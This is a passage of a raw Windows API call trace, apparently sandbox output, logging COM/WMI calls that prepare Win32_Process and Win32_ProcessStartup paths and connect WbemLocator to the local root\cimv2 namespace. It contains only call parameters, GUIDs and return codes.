WbemDefPath:IWbemPath:GetText (in: This=0x1bc952f0, lFlags=2, puBuffLength=0x1bb7e708*=0x0, pszText=0x0 | out: puBuffLength=0x1bb7e708*=0xe, pszText=0x0) returned 0x0 [0140.218] WbemDefPath:IWbemPath:GetText (in: This=0x1bc952f0, lFlags=2, puBuffLength=0x1bb7e708*=0xe, pszText="0000000000000" | out: puBuffLength=0x1bb7e708*=0xe, pszText="Win32_Process") returned 0x0 [0140.218] WbemDefPath:IWbemPath:GetInfo (in: This=0x1bc952f0, uRequestedInfo=0x0, puResponse=0x1bb7e728 | out: puResponse=0x1bb7e728*=0xc15) returned 0x0 [0140.218] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bc952f0, puCount=0x1bb7e710 | out: puCount=0x1bb7e710*=0x0) returned 0x0 [0140.218] WbemDefPath:IWbemPath:GetInfo (in: This=0x1bc952f0, uRequestedInfo=0x0, puResponse=0x1bb7e728 | out: puResponse=0x1bb7e728*=0xc15) returned 0x0 [0140.218] CoGetObjectContext (in: riid=0x276df60*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1bb7e6c8 | out: ppv=0x1bb7e6c8*=0x1a943398) returned 0x0 [0140.218] IComThreadingInfo:GetCurrentApartmentType (in: This=0x1a943398, pAptType=0x1bb7e6b8 | out: pAptType=0x1bb7e6b8*=1) returned 0x0 [0140.218] IUnknown:QueryInterface (in: This=0x1a943398, riid=0x276df40*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1bb7e6c0 | out: ppvObject=0x1bb7e6c0*=0x0) returned 0x80004002 [0140.218] IUnknown:Release (This=0x1a943398) returned 0x1 [0140.220] CoGetClassObject (in: rclsid=0x1a9a7298*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x7fef11595c0*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1bb7dae0 | out: ppv=0x1bb7dae0*=0x1bcc4300) returned 0x0 [0140.220] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bcc4300, riid=0x7fef117e690*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1bb7db28 | out: ppvObject=0x1bb7db28*=0x0) returned 0x80004002 [0140.220] WbemDefPath:IClassFactory:CreateInstance (in: This=0x1bcc4300, pUnkOuter=0x0, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7dad8 | out: ppvObject=0x1bb7dad8*=0x1bc953b0) returned 0x0 [0140.220] WbemDefPath:IUnknown:Release (This=0x1bcc4300) returned 0x0 [0140.220] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc953b0, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d8e8 | out: ppvObject=0x1bb7d8e8*=0x1bc953b0) returned 0x0 [0140.221] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc953b0, riid=0x7fef1136968*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1bb7d990 | out: ppvObject=0x1bb7d990*=0x0) returned 0x80004002 [0140.222] WbemDefPath:IUnknown:AddRef (This=0x1bc953b0) returned 0x3 [0140.222] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc953b0, riid=0x7fef1136978*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1bb7d038 | out: ppvObject=0x1bb7d038*=0x0) returned 0x80004002 [0140.222] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc953b0, riid=0x7fef1136988*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1bb7cfc0 | out: ppvObject=0x1bb7cfc0*=0x0) returned 0x80004002 [0140.222] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc953b0, riid=0x7fef1135de0*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7cfb0 | out: ppvObject=0x1bb7cfb0*=0x1bcc4340) returned 0x0 [0140.222] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x1bcc4340, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1bb7cfd8 | out: pCid=0x1bb7cfd8*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0140.222] WbemDefPath:IUnknown:Release (This=0x1bcc4340) returned 0x3 [0140.222] CoGetContextToken (in: pToken=0x1bb7d060 | out: pToken=0x1bb7d060) returned 0x0 [0140.224] CoGetContextToken (in: pToken=0x1bb7d4e0 | out: pToken=0x1bb7d4e0) returned 0x0 [0140.224] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc953b0, riid=0x7fef1136998*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d5a0 | out: ppvObject=0x1bb7d5a0*=0x0) returned 0x80004002 [0140.224] WbemDefPath:IUnknown:Release (This=0x1bc953b0) returned 0x2 [0140.224] WbemDefPath:IUnknown:Release (This=0x1bc953b0) returned 0x1 [0140.224] CoGetContextToken (in: pToken=0x1bb7e300 | out: pToken=0x1bb7e300) returned 0x0 [0140.225] CoGetContextToken (in: pToken=0x1bb7e200 | out: pToken=0x1bb7e200) returned 0x0 [0140.225] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc953b0, riid=0x1bb7e360*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x1bb7e330 | out: ppvObject=0x1bb7e330*=0x1bc953b0) returned 0x0 [0140.225] WbemDefPath:IUnknown:AddRef (This=0x1bc953b0) returned 0x3 [0140.225] WbemDefPath:IUnknown:Release (This=0x1bc953b0) returned 0x2 [0140.225] WbemDefPath:IWbemPath:SetText (This=0x1bc953b0, uMode=0x4, pszPath="Win32_ProcessStartup") returned 0x0 [0140.225] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bc953b0, puCount=0x1bb7e710 | out: puCount=0x1bb7e710*=0x0) returned 0x0 [0140.225] WbemDefPath:IWbemPath:GetText (in: This=0x1bc953b0, lFlags=2, puBuffLength=0x1bb7e708*=0x0, pszText=0x0 | out: puBuffLength=0x1bb7e708*=0x15, pszText=0x0) returned 0x0 [0140.225] WbemDefPath:IWbemPath:GetText (in: This=0x1bc953b0, lFlags=2, puBuffLength=0x1bb7e708*=0x15, pszText="00000000000000000000" | out: puBuffLength=0x1bb7e708*=0x15, pszText="Win32_ProcessStartup") returned 0x0 [0140.225] WbemDefPath:IWbemPath:GetInfo (in: This=0x1bc953b0, uRequestedInfo=0x0, puResponse=0x1bb7e728 | out: puResponse=0x1bb7e728*=0xc15) returned 0x0 [0140.225] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bc953b0, puCount=0x1bb7e710 | out: puCount=0x1bb7e710*=0x0) returned 0x0 [0140.225] WbemDefPath:IWbemPath:GetInfo (in: This=0x1bc953b0, uRequestedInfo=0x0, puResponse=0x1bb7e728 | out: puResponse=0x1bb7e728*=0xc15) returned 0x0 [0140.225] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bc953b0, puCount=0x1bb7e670 | out: puCount=0x1bb7e670*=0x0) returned 0x0 [0140.225] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1a97f9d0, puCount=0x1bb7e630 | out: puCount=0x1bb7e630*=0x2) returned 0x0 [0140.225] WbemDefPath:IWbemPath:GetText (in: This=0x1a97f9d0, lFlags=4, puBuffLength=0x1bb7e628*=0x0, pszText=0x0 | out: puBuffLength=0x1bb7e628*=0xf, pszText=0x0) returned 0x0 [0140.225] WbemDefPath:IWbemPath:GetText (in: This=0x1a97f9d0, lFlags=4, puBuffLength=0x1bb7e628*=0xf, pszText="00000000000000" | out: puBuffLength=0x1bb7e628*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0140.225] CoGetObjectContext (in: riid=0x276df60*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1bb7e588 | out: ppv=0x1bb7e588*=0x1a943398) returned 0x0 [0140.225] IComThreadingInfo:GetCurrentApartmentType (in: This=0x1a943398, pAptType=0x1bb7e578 | out: pAptType=0x1bb7e578*=1) returned 0x0 [0140.225] IUnknown:QueryInterface (in: This=0x1a943398, riid=0x276df40*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1bb7e580 | out: ppvObject=0x1bb7e580*=0x0) returned 0x80004002 [0140.225] IUnknown:Release (This=0x1a943398) returned 0x1 [0140.227] CoGetClassObject (in: rclsid=0x1a9a7298*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x7fef11595c0*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1bb7d9a0 | out: ppv=0x1bb7d9a0*=0x1bcc4380) returned 0x0 [0140.228] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bcc4380, riid=0x7fef117e690*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1bb7d9e8 | out: ppvObject=0x1bb7d9e8*=0x0) returned 0x80004002 [0140.228] WbemDefPath:IClassFactory:CreateInstance (in: This=0x1bcc4380, pUnkOuter=0x0, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d998 | out: ppvObject=0x1bb7d998*=0x1bc95470) returned 0x0 [0140.228] WbemDefPath:IUnknown:Release (This=0x1bcc4380) returned 0x0 [0140.228] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc95470, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d7a8 | out: ppvObject=0x1bb7d7a8*=0x1bc95470) returned 0x0 [0140.228] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc95470, riid=0x7fef1136968*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1bb7d850 | out: ppvObject=0x1bb7d850*=0x0) returned 0x80004002 [0140.228] WbemDefPath:IUnknown:AddRef (This=0x1bc95470) returned 0x3 [0140.228] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc95470, riid=0x7fef1136978*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1bb7cef8 | out: ppvObject=0x1bb7cef8*=0x0) returned 0x80004002 [0140.229] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc95470, riid=0x7fef1136988*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1bb7ce80 | out: ppvObject=0x1bb7ce80*=0x0) returned 0x80004002 [0140.229] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc95470, riid=0x7fef1135de0*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7ce70 | out: ppvObject=0x1bb7ce70*=0x1bcc43c0) returned 0x0 [0140.229] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x1bcc43c0, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1bb7ce98 | out: pCid=0x1bb7ce98*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0140.229] WbemDefPath:IUnknown:Release (This=0x1bcc43c0) returned 0x3 [0140.229] CoGetContextToken (in: pToken=0x1bb7cf20 | out: pToken=0x1bb7cf20) returned 0x0 [0140.229] CoGetContextToken (in: pToken=0x1bb7d3a0 | out: pToken=0x1bb7d3a0) returned 0x0 [0140.229] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc95470, riid=0x7fef1136998*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d460 | out: ppvObject=0x1bb7d460*=0x0) returned 0x80004002 [0140.229] WbemDefPath:IUnknown:Release (This=0x1bc95470) returned 0x2 [0140.229] WbemDefPath:IUnknown:Release (This=0x1bc95470) returned 0x1 [0140.229] CoGetContextToken (in: pToken=0x1bb7e1c0 | out: pToken=0x1bb7e1c0) returned 0x0 [0140.229] CoGetContextToken (in: pToken=0x1bb7e0c0 | out: pToken=0x1bb7e0c0) returned 0x0 [0140.229] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc95470, riid=0x1bb7e220*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x1bb7e1f0 | out: ppvObject=0x1bb7e1f0*=0x1bc95470) returned 0x0 [0140.229] WbemDefPath:IUnknown:AddRef (This=0x1bc95470) returned 0x3 [0140.229] WbemDefPath:IUnknown:Release (This=0x1bc95470) returned 0x2 [0140.229] WbemDefPath:IWbemPath:SetText (This=0x1bc95470, uMode=0x4, pszPath="\\\\.\\root\\cimv2") returned 0x0 [0140.229] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bc95470, puCount=0x1bb7e5a0 | out: puCount=0x1bb7e5a0*=0x2) returned 0x0 [0140.229] WbemDefPath:IWbemPath:GetText (in: This=0x1bc95470, lFlags=4, puBuffLength=0x1bb7e598*=0x0, pszText=0x0 | out: puBuffLength=0x1bb7e598*=0xf, pszText=0x0) returned 0x0 [0140.229] WbemDefPath:IWbemPath:GetText (in: This=0x1bc95470, lFlags=4, puBuffLength=0x1bb7e598*=0xf, pszText="00000000000000" | out: puBuffLength=0x1bb7e598*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0140.230] CoGetObjectContext (in: riid=0x276df60*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1bb7e618 | out: ppv=0x1bb7e618*=0x1a943398) returned 0x0 [0140.230] IComThreadingInfo:GetCurrentApartmentType (in: This=0x1a943398, pAptType=0x1bb7e608 | out: pAptType=0x1bb7e608*=1) returned 0x0 [0140.230] IUnknown:QueryInterface (in: This=0x1a943398, riid=0x276df40*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1bb7e610 | out: ppvObject=0x1bb7e610*=0x0) returned 0x80004002 [0140.230] IUnknown:Release (This=0x1a943398) returned 0x1 [0140.231] CoGetClassObject (in: rclsid=0x1a9ccf38*(Data1=0x4590f811, Data2=0x1d3a, Data3=0x11d0, Data4=([0]=0x89, [1]=0x1f, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), dwClsContext=0x15, pvReserved=0x0, riid=0x7fef11595c0*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1bb7dbc0 | out: ppv=0x1bb7dbc0*=0x1bcc44c0) returned 0x0 [0140.231] WbemLocator:IUnknown:QueryInterface (in: This=0x1bcc44c0, riid=0x7fef117e690*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1bb7dc08 | out: ppvObject=0x1bb7dc08*=0x0) returned 0x80004002 [0140.231] WbemLocator:IClassFactory:CreateInstance (in: This=0x1bcc44c0, pUnkOuter=0x0, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7dbb8 | out: ppvObject=0x1bb7dbb8*=0x1bcc44e0) returned 0x0 [0140.231] WbemLocator:IUnknown:Release (This=0x1bcc44c0) returned 0x0 [0140.231] WbemLocator:IUnknown:QueryInterface (in: This=0x1bcc44e0, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d9c8 | out: ppvObject=0x1bb7d9c8*=0x1bcc44e0) returned 0x0 [0140.231] WbemLocator:IUnknown:QueryInterface (in: This=0x1bcc44e0, riid=0x7fef1136968*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1bb7da70 | out: ppvObject=0x1bb7da70*=0x0) returned 0x80004002 [0140.232] WbemLocator:IUnknown:AddRef (This=0x1bcc44e0) returned 0x3 [0140.232] WbemLocator:IUnknown:QueryInterface (in: This=0x1bcc44e0, riid=0x7fef1136978*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1bb7d118 | out: ppvObject=0x1bb7d118*=0x0) returned 0x80004002 [0140.232] WbemLocator:IUnknown:QueryInterface (in: This=0x1bcc44e0, riid=0x7fef1136988*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1bb7d0a0 | out: ppvObject=0x1bb7d0a0*=0x0) returned 0x80004002 [0140.232] WbemLocator:IUnknown:QueryInterface (in: This=0x1bcc44e0, riid=0x7fef1135de0*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d090 | out: ppvObject=0x1bb7d090*=0x0) returned 0x80004002 [0140.232] CoGetContextToken (in: pToken=0x1bb7d140 | out: pToken=0x1bb7d140) returned 0x0 [0140.232] CoGetContextToken (in: pToken=0x1bb7d5c0 | out: pToken=0x1bb7d5c0) returned 0x0 [0140.232] WbemLocator:IUnknown:QueryInterface (in: This=0x1bcc44e0, riid=0x7fef1136998*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d680 | out: ppvObject=0x1bb7d680*=0x0) returned 0x80004002 [0140.232] WbemLocator:IUnknown:Release (This=0x1bcc44e0) returned 0x2 [0140.232] WbemLocator:IUnknown:Release (This=0x1bcc44e0) returned 0x1 [0140.232] CoGetContextToken (in: pToken=0x1bb7e170 | out: pToken=0x1bb7e170) returned 0x0 [0140.232] CoGetContextToken (in: pToken=0x1bb7e070 | out: pToken=0x1bb7e070) returned 0x0 [0140.232] WbemLocator:IUnknown:QueryInterface (in: This=0x1bcc44e0, riid=0x1bb7e1d0*(Data1=0xdc12a687, Data2=0x737f, Data3=0x11cf, Data4=([0]=0x88, [1]=0x4d, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), ppvObject=0x1bb7e1a0 | out: ppvObject=0x1bb7e1a0*=0x1bcc44e0) returned 0x0 [0140.232] WbemLocator:IUnknown:AddRef (This=0x1bcc44e0) returned 0x3 [0140.232] WbemLocator:IUnknown:Release (This=0x1bcc44e0) returned 0x2 [0140.233] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bc95470, puCount=0x1bb7e5a0 | out: puCount=0x1bb7e5a0*=0x2) returned 0x0 [0140.233] WbemDefPath:IWbemPath:GetText (in: This=0x1bc95470, lFlags=8, puBuffLength=0x1bb7e598*=0x0, pszText=0x0 | out: puBuffLength=0x1bb7e598*=0xf, pszText=0x0) returned 0x0 [0140.233] WbemDefPath:IWbemPath:GetText (in: This=0x1bc95470, lFlags=8, puBuffLength=0x1bb7e598*=0xf, pszText="00000000000000" | out: puBuffLength=0x1bb7e598*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0140.233] CoCreateInstance (in: rclsid=0x7fef422b060*(Data1=0x4590f811, Data2=0x1d3a, Data3=0x11d0, Data4=([0]=0x89, [1]=0x1f, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), pUnkOuter=0x0, dwClsContext=0x1, riid=0x7fef422b0c0*(Data1=0xdc12a687, Data2=0x737f, Data3=0x11cf, Data4=([0]=0x88, [1]=0x4d, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), ppv=0x1bb7e210 | out: ppv=0x1bb7e210*=0x1bcc4500) returned 0x0 [0140.233] WbemLocator:IWbemLocator:ConnectServer (in: This=0x1bcc4500, strNetworkResource="\\\\.\\root\\cimv2", strUser=0x0, strPassword=0x0, strLocale="", lSecurityFlags=128, strAuthority="", pCtx=0x0, ppNamespace=0x1bb7e438 | out: ppNamespace=0x1bb7e438*=0x1bcc66c0) returned 0x0 [0140.397] WbemLocator:IUnknown:QueryInterface (in: This=0x1bcc66c0, riid=0x7fef422aee0*(Data1=0x13d, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7e088 | out: ppvObject=0x1bb7e088*=0x1bc432e0) returned 0x0 [0140.397] WbemLocator:IClientSecurity:QueryBlanket (in: This=0x1bc432e0, pProxy=0x1bcc66c0, pAuthnSvc=0x1bb7e150, pAuthzSvc=0x1bb7e0d0, pServerPrincName=0x1bb7e100, pAuthnLevel=0x1bb7e0d4, pImpLevel=0x1bb7e0dc, pAuthInfo=0x1bb7e108, pCapabilites=0x1bb7e0d8 | out: pAuthnSvc=0x1bb7e150*=0xa, pAuthzSvc=0x1bb7e0d0*=0x0, pServerPrincName=0x1bb7e100, pAuthnLevel=0x1bb7e0d4*=0x6, pImpLevel=0x1bb7e0dc*=0x2, pAuthInfo=0x1bb7e108, pCapabilites=0x1bb7e0d8*=0x1) returned 0x0 [0140.397] WbemLocator:IUnknown:Release (This=0x1bc432e0) returned 0x1 [0140.397] WbemLocator:IUnknown:QueryInterface (in: This=0x1bcc66c0, riid=0x7fef422aed0*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7e020 | out: ppvObject=0x1bb7e020*=0x1bc43320) returned 0x0 [0140.397] WbemLocator:IUnknown:QueryInterface (in: This=0x1bcc66c0, riid=0x7fef422aee0*(Data1=0x13d, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7e030 | out: ppvObject=0x1bb7e030*=0x1bc432e0) returned 0x0 [0140.397] WbemLocator:IClientSecurity:SetBlanket (This=0x1bc432e0, pProxy=0x1bcc66c0, dwAuthnSvc=0xa, dwAuthzSvc=0x0, pServerPrincName=0x0, dwAuthnLevel=0x6, dwImpLevel=0x3, pAuthInfo=0x0, dwCapabilities=0x20) returned 0x0 [0140.397] WbemLocator:IUnknown:Release (This=0x1bc432e0) returned 0x2 [0140.397] WbemLocator:IUnknown:Release (This=0x1bc43320) returned 0x1 [0140.397] CoTaskMemFree (pv=0x1bcc2aa0) [0140.398] WbemLocator:IUnknown:AddRef (This=0x1bcc66c0) returned 0x2 [0140.398] WbemLocator:IUnknown:Release (This=0x1bcc4500) returned 0x0 [0140.398] CoGetContextToken (in: pToken=0x1bb7d290 | out: pToken=0x1bb7d290) returned 0x0 [0140.398] CoGetContextToken (in: pToken=0x1bb7d710 | out: pToken=0x1bb7d710) returned 0x0 [0140.398] WbemLocator:IUnknown:QueryInterface (in: This=0x1bcc66c0, riid=0x7fef1136998*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d690 | out: ppvObject=0x1bb7d690*=0x1bc432f0) returned 0x0 [0140.398] WbemLocator:IRpcOptions:Query (in: This=0x1bc432f0, pPrx=0x1bcc4560, dwProperty=2, pdwValue=0x1bb7d7c0 | out: pdwValue=0x1bb7d7c0) returned 0x80004002 [0140.398] WbemLocator:IUnknown:Release (This=0x1bc432f0) returned 0x2 [0140.398] CoGetContextToken (in: pToken=0x1bb7dde0 | out: pToken=0x1bb7dde0) returned 0x0 [0140.398] CoGetContextToken (in: pToken=0x1bb7dce0 | out: pToken=0x1bb7dce0) returned 0x0 [0140.399] WbemLocator:IUnknown:QueryInterface (in: This=0x1bcc66c0, riid=0x1bb7de40*(Data1=0x9556dc99, Data2=0x828c, Data3=0x11cf, Data4=([0]=0xa3, [1]=0x7e, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x32, [6]=0x40, [7]=0xc7)), ppvObject=0x1bb7dc60 | out: ppvObject=0x1bb7dc60*=0x1bcc66c0) returned 0x0 [0140.399] WbemLocator:IUnknown:Release (This=0x1bcc66c0) returned 0x2 [0140.399] 